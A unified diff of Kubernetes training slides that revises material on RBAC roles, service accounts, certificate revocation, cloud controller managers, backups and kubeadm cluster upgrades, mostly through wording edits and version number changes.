|
||||
<br/>
|
||||
→ Maybe OK if we only have a few users; no way otherwise
|
||||
- issue short-lived certificates (e.g. 24 hours) and regenerate them often
|
||||
|
||||
- Option 2: don't use groups; grant permissions to individual users
|
||||
<br/>
|
||||
→ Inconvenient if we have many users and teams; error-prone
|
||||
- re-create the CA and re-issue all certificates in case of compromise
|
||||
|
||||
- Option 3: issue short-lived certificates (e.g. 24 hours) and renew them often
|
||||
<br/>
|
||||
→ This can be facilitated by e.g. Vault or by the Kubernetes CSR API
|
||||
- grant permissions to individual users, not groups
|
||||
<br/>
|
||||
(and remove all permissions to a compromised user)
|
||||
|
||||
- Until this is fixed, we probably want to use other methods
|
||||
|
||||
---
|
||||
|
||||
@@ -193,7 +191,7 @@ class: extra-details
|
||||
|
||||
(the kind that you can view with `kubectl get secrets`)
|
||||
|
||||
- Service accounts are generally used to grant permissions to applications, services...
|
||||
- Service accounts are generally used to grant permissions to applications, services ...
|
||||
|
||||
(as opposed to humans)
|
||||
|
||||
@@ -217,7 +215,7 @@ class: extra-details
|
||||
|
||||
.exercise[
|
||||
|
||||
- The resource name is `serviceaccount` or `sa` for short:
|
||||
- The resource name is `serviceaccount` or `sa` in short:
|
||||
```bash
|
||||
kubectl get sa
|
||||
```
|
||||
@@ -309,7 +307,7 @@ class: extra-details
|
||||
|
||||
- The API "sees" us as a different user
|
||||
|
||||
- But neither user has any rights, so we can't do nothin'
|
||||
- But neither user has any right, so we can't do nothin'
|
||||
|
||||
- Let's change that!
|
||||
|
||||
@@ -339,9 +337,9 @@ class: extra-details
|
||||
|
||||
- A rule is a combination of:
|
||||
|
||||
- [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb) like create, get, list, update, delete...
|
||||
- [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb) like create, get, list, update, delete ...
|
||||
|
||||
- resources (as in "API resource," like pods, nodes, services...)
|
||||
- resources (as in "API resource", like pods, nodes, services ...)
|
||||
|
||||
- resource names (to specify e.g. one specific pod instead of all pods)
|
||||
|
||||
@@ -375,13 +373,13 @@ class: extra-details
|
||||
|
||||
- We can also define API resources ClusterRole and ClusterRoleBinding
|
||||
|
||||
- These are a superset, allowing us to:
|
||||
- These are a superset, allowing to:
|
||||
|
||||
- specify actions on cluster-wide objects (like nodes)
|
||||
|
||||
- operate across all namespaces
|
||||
|
||||
- We can create Role and RoleBinding resources within a namespace
|
||||
- We can create Role and RoleBinding resources within a namespaces
|
||||
|
||||
- ClusterRole and ClusterRoleBinding resources are global
|
||||
|
||||
@@ -389,13 +387,13 @@ class: extra-details
|
||||
|
||||
## Pods and service accounts
|
||||
|
||||
- A pod can be associated with a service account
|
||||
- A pod can be associated to a service account
|
||||
|
||||
- by default, it is associated with the `default` service account
|
||||
- by default, it is associated to the `default` service account
|
||||
|
||||
- as we saw earlier, this service account has no permissions anyway
|
||||
- as we've seen earlier, this service account has no permission anyway
|
||||
|
||||
- The associated token is exposed to the pod's filesystem
|
||||
- The associated token is exposed into the pod's filesystem
|
||||
|
||||
(in `/var/run/secrets/kubernetes.io/serviceaccount/token`)
|
||||
|
||||
@@ -409,7 +407,7 @@ class: extra-details
|
||||
|
||||
- We are going to create a service account
|
||||
|
||||
- We will use a default cluster role (`view`)
|
||||
- We will use an existing cluster role (`view`)
|
||||
|
||||
- We will bind together this role and this service account
|
||||
|
||||
@@ -460,7 +458,7 @@ class: extra-details
|
||||
|
||||
]
|
||||
|
||||
It's important to note a couple of details in these flags...
|
||||
It's important to note a couple of details in these flags ...
|
||||
|
||||
---
|
||||
|
||||
@@ -493,13 +491,13 @@ It's important to note a couple of details in these flags...
|
||||
|
||||
- again, the command would have worked fine (no error)
|
||||
|
||||
- ...but our API requests would have been denied later
|
||||
- ... but our API requests would have been denied later
|
||||
|
||||
- What's about the `default:` prefix?
|
||||
|
||||
- that's the namespace of the service account
|
||||
|
||||
- yes, it could be inferred from context, but... `kubectl` requires it
|
||||
- yes, it could be inferred from context, but ... `kubectl` requires it
|
||||
|
||||
---
|
||||
|
||||
@@ -576,51 +574,6 @@ It's important to note a couple of details in these flags...
|
||||
|
||||
class: extra-details
|
||||
|
||||
## Where does this `view` role come from?
|
||||
|
||||
- Kubernetes defines a number of ClusterRoles intended to be bound to users
|
||||
|
||||
- `cluster-admin` can do *everything* (think `root` on UNIX)
|
||||
|
||||
- `admin` can do *almost everything* (except e.g. changing resource quotas and limits)
|
||||
|
||||
- `edit` is similar to `admin`, but cannot view or edit permissions
|
||||
|
||||
- `view` has read-only access to most resources, except permissions and secrets
|
||||
|
||||
*In many situations, these roles will be all you need.*
|
||||
|
||||
*You can also customize them!*
|
||||
|
||||
---
|
||||
|
||||
class: extra-details
|
||||
|
||||
## Customizing the default roles
|
||||
|
||||
- If you need to *add* permissions to these default roles (or others),
|
||||
<br/>
|
||||
you can do it through the [ClusterRole Aggregation](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#aggregated-clusterroles) mechanism
|
||||
|
||||
- This happens by creating a ClusterRole with the following labels:
|
||||
```yaml
|
||||
metadata:
|
||||
labels:
|
||||
rbac.authorization.k8s.io/aggregate-to-admin: "true"
|
||||
rbac.authorization.k8s.io/aggregate-to-edit: "true"
|
||||
rbac.authorization.k8s.io/aggregate-to-view: "true"
|
||||
```
|
||||
|
||||
- This ClusterRole permissions will be added to `admin`/`edit`/`view` respectively
|
||||
|
||||
- This is particulary useful when using CustomResourceDefinitions
|
||||
|
||||
(since Kubernetes cannot guess which resources are sensitive and which ones aren't)
|
||||
|
||||
---
|
||||
|
||||
class: extra-details
|
||||
|
||||
## Where do our permissions come from?
|
||||
|
||||
- When interacting with the Kubernetes API, we are using a client certificate
|
||||
@@ -652,7 +605,7 @@ class: extra-details
|
||||
kubectl describe clusterrolebinding cluster-admin
|
||||
```
|
||||
|
||||
- This binding associates `system:masters` with the cluster role `cluster-admin`
|
||||
- This binding associates `system:masters` to the cluster role `cluster-admin`
|
||||
|
||||
- And the `cluster-admin` is, basically, `root`:
|
||||
```bash
|
||||
@@ -667,12 +620,17 @@ class: extra-details
|
||||
|
||||
- For auditing purposes, sometimes we want to know who can perform an action
|
||||
|
||||
- There are a few tools to help us with that
|
||||
- Here is a proof-of-concept tool by Aqua Security, doing exactly that:
|
||||
|
||||
- [kubectl-who-can](https://github.com/aquasecurity/kubectl-who-can) by Aqua Security
|
||||
https://github.com/aquasecurity/kubectl-who-can
|
||||
|
||||
- [Review Access (aka Rakkess)](https://github.com/corneliusweig/rakkess)
|
||||
- This is one way to install it:
|
||||
```bash
|
||||
docker run --rm -v /usr/local/bin:/go/bin golang \
|
||||
go get -v github.com/aquasecurity/kubectl-who-can
|
||||
```
|
||||
|
||||
- Both are available as standalone programs, or as plugins for `kubectl`
|
||||
|
||||
(`kubectl` plugins can be installed and managed with `krew`)
|
||||
- This is one way to use it:
|
||||
```bash
|
||||
kubectl-who-can create pods
|
||||
```
|
||||
|
||||
@@ -15,3 +15,26 @@
|
||||
- `dockercoins/webui:v0.1`
|
||||
|
||||
- `dockercoins/worker:v0.1`
|
||||
|
||||
---
|
||||
|
||||
## Setting `$REGISTRY` and `$TAG`
|
||||
|
||||
- In the upcoming exercises and labs, we use a couple of environment variables:
|
||||
|
||||
- `$REGISTRY` as a prefix to all image names
|
||||
|
||||
- `$TAG` as the image version tag
|
||||
|
||||
- For example, the worker image is `$REGISTRY/worker:$TAG`
|
||||
|
||||
- If you copy-paste the commands in these exercises:
|
||||
|
||||
**make sure that you set `$REGISTRY` and `$TAG` first!**
|
||||
|
||||
- For example:
|
||||
```
|
||||
export REGISTRY=dockercoins TAG=v0.1
|
||||
```
|
||||
|
||||
(this will expand `$REGISTRY/worker:$TAG` to `dockercoins/worker:v0.1`)
|
||||
|
||||
@@ -20,15 +20,15 @@
|
||||
|
||||
- Configuring routing tables in the cloud network (specific to GCE)
|
||||
|
||||
- Updating node labels to indicate region, zone, instance type...
|
||||
- Updating node labels to indicate region, zone, instance type ...
|
||||
|
||||
- Obtain node name, internal and external addresses from cloud metadata service
|
||||
|
||||
- Deleting nodes from Kubernetes when they're deleted in the cloud
|
||||
|
||||
- Managing *some* volumes (e.g. ELBs, AzureDisks...)
|
||||
- Managing *some* volumes (e.g. ELBs, AzureDisks ...)
|
||||
|
||||
(Eventually, volumes will be managed by the Container Storage Interface)
|
||||
(Eventually, volumes will be managed by the CSI)
|
||||
|
||||
---
|
||||
|
||||
@@ -83,7 +83,7 @@ The list includes the following providers:
|
||||
|
||||
## Audience questions
|
||||
|
||||
- What kind of clouds are you using/planning to use?
|
||||
- What kind of clouds are you using / planning to use?
|
||||
|
||||
- What kind of details would you like to see in this section?
|
||||
|
||||
@@ -105,7 +105,7 @@ The list includes the following providers:
|
||||
|
||||
- When using managed clusters, this is done automatically
|
||||
|
||||
- There is very little documentation on writing the configuration file
|
||||
- There is very little documentation to write the configuration file
|
||||
|
||||
(except for OpenStack)
|
||||
|
||||
@@ -123,7 +123,7 @@ The list includes the following providers:
|
||||
|
||||
- To get these addresses, the node needs to communicate with the control plane
|
||||
|
||||
- ...Which means joining the cluster
|
||||
- ... Which means joining the cluster
|
||||
|
||||
(The problem didn't occur when cloud-specific code was running in kubelet: kubelet could obtain the required information directly from the cloud provider's metadata service.)
|
||||
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
- error recovery (human or process has altered or corrupted data)
|
||||
|
||||
- cloning environments (for testing, validation...)
|
||||
- cloning environments (for testing, validation ...)
|
||||
|
||||
- Let's see the strategies and tools available with Kubernetes!
|
||||
|
||||
@@ -18,13 +18,13 @@
|
||||
|
||||
(it gives us replication primitives)
|
||||
|
||||
- Kubernetes helps us clone / replicate environments
|
||||
- Kubernetes helps us to clone / replicate environments
|
||||
|
||||
(all resources can be described with manifests)
|
||||
|
||||
- Kubernetes *does not* help us with error recovery
|
||||
|
||||
- We still need to back up/snapshot our data:
|
||||
- We still need to backup / snapshot our data:
|
||||
|
||||
- with database backups (mysqldump, pgdump, etc.)
|
||||
|
||||
@@ -58,7 +58,7 @@
|
||||
|
||||
- If our deployment system isn't fully automated, it should at least be documented
|
||||
|
||||
- Litmus test: how long does it take to deploy a cluster...
|
||||
- Litmus test: how long does it take to deploy a cluster ...
|
||||
|
||||
- for a senior engineer?
|
||||
|
||||
@@ -66,7 +66,7 @@
|
||||
|
||||
- Does it require external intervention?
|
||||
|
||||
(e.g. provisioning servers, signing TLS certs...)
|
||||
(e.g. provisioning servers, signing TLS certs ...)
|
||||
|
||||
---
|
||||
|
||||
@@ -108,7 +108,7 @@
|
||||
|
||||
- For real applications: add resources (as YAML files)
|
||||
|
||||
- For applications deployed multiple times: Helm, Kustomize...
|
||||
- For applications deployed multiple times: Helm, Kustomize ...
|
||||
|
||||
(staging and production count as "multiple times")
|
||||
|
||||
|
||||
@@ -10,8 +10,6 @@
|
||||
|
||||
- Components can be upgraded one at a time without problems
|
||||
|
||||
<!-- ##VERSION## -->
|
||||
|
||||
---
|
||||
|
||||
## Checking what we're running
|
||||
@@ -20,8 +18,6 @@
|
||||
|
||||
.exercise[
|
||||
|
||||
- Log into node `test1`
|
||||
|
||||
- Check the version of kubectl and of the API server:
|
||||
```bash
|
||||
kubectl version
|
||||
@@ -168,7 +164,7 @@
|
||||
|
||||
- Upgrade kubelet:
|
||||
```bash
|
||||
sudo apt install kubelet=1.15.3-00
|
||||
apt install kubelet=1.14.1-00
|
||||
```
|
||||
|
||||
]
|
||||
@@ -228,7 +224,7 @@
|
||||
sudo vim /etc/kubernetes/manifests/kube-apiserver.yaml
|
||||
```
|
||||
|
||||
- Look for the `image:` line, and update it to e.g. `v1.15.0`
|
||||
- Look for the `image:` line, and update it to e.g. `v1.14.0`
|
||||
|
||||
]
|
||||
|
||||
@@ -262,52 +258,14 @@
|
||||
sudo kubeadm upgrade plan
|
||||
```
|
||||
|
||||
]
|
||||
(Note: kubeadm is confused by our manual upgrade of the API server.
|
||||
<br/>It thinks the cluster is running 1.14.0!)
|
||||
|
||||
Note 1: kubeadm thinks that our cluster is running 1.15.0.
|
||||
<br/>It is confused by our manual upgrade of the API server!
|
||||
|
||||
Note 2: kubeadm itself is still version 1.14.6.
|
||||
<br/>It doesn't know how to upgrade do 1.15.X.
|
||||
|
||||
---
|
||||
|
||||
## Upgrading kubeadm
|
||||
|
||||
- First things first: we need to upgrade kubeadm
|
||||
|
||||
.exercise[
|
||||
|
||||
- Upgrade kubeadm:
|
||||
```
|
||||
sudo apt install kubeadm
|
||||
```
|
||||
|
||||
- Check what kubeadm tells us:
|
||||
```
|
||||
sudo kubeadm upgrade plan
|
||||
```
|
||||
|
||||
]
|
||||
|
||||
Note: kubeadm still thinks that our cluster is running 1.15.0.
|
||||
<br/>But at least it knows about version 1.15.X now.
|
||||
|
||||
---
|
||||
|
||||
## Upgrading the cluster with kubeadm
|
||||
|
||||
- Ideally, we should revert our `image:` change
|
||||
|
||||
(so that kubeadm executes the right migration steps)
|
||||
|
||||
- Or we can try the upgrade anyway
|
||||
|
||||
.exercise[
|
||||
<!-- ##VERSION## -->
|
||||
|
||||
- Perform the upgrade:
|
||||
```bash
|
||||
sudo kubeadm upgrade apply v1.15.3
|
||||
sudo kubeadm upgrade apply v1.14.1
|
||||
```
|
||||
|
||||
]
|
||||
@@ -327,8 +285,8 @@ Note: kubeadm still thinks that our cluster is running 1.15.0.
|
||||
- Download the configuration on each node, and upgrade kubelet:
|
||||
```bash
|
||||
for N in 1 2 3; do
|
||||
ssh test$N sudo kubeadm upgrade node config --kubelet-version v1.15.3
|
||||
ssh test$N sudo apt install kubelet=1.15.3-00
|
||||
ssh node$N sudo kubeadm upgrade node config --kubelet-version v1.14.1
|
||||
ssh node $N sudo apt install kubelet=1.14.1-00
|
||||
done
|
||||
```
|
||||
]
|
||||
@@ -337,7 +295,7 @@ Note: kubeadm still thinks that our cluster is running 1.15.0.
|
||||
|
||||
## Checking what we've done
|
||||
|
||||
- All our nodes should now be updated to version 1.15.3
|
||||
- All our nodes should now be updated to version 1.14.1
|
||||
|
||||
.exercise[
|
||||
|
||||
@@ -347,19 +305,3 @@ Note: kubeadm still thinks that our cluster is running 1.15.0.
|
||||
```
|
||||
|
||||
]
|
||||
|
||||
---
|
||||
|
||||
class: extra-details
|
||||
|
||||
## Skipping versions
|
||||
|
||||
- This example worked because we went from 1.14 to 1.15
|
||||
|
||||
- If you are upgrading from e.g. 1.13, you will generally have to go through 1.14 first
|
||||
|
||||
- This means upgrading kubeadm to 1.14.X, then using it to upgrade the cluster
|
||||
|
||||
- Then upgrading kubeadm to 1.15.X, etc.
|
||||
|
||||
- **Make sure to read the release notes before upgrading!**
|
||||
|
||||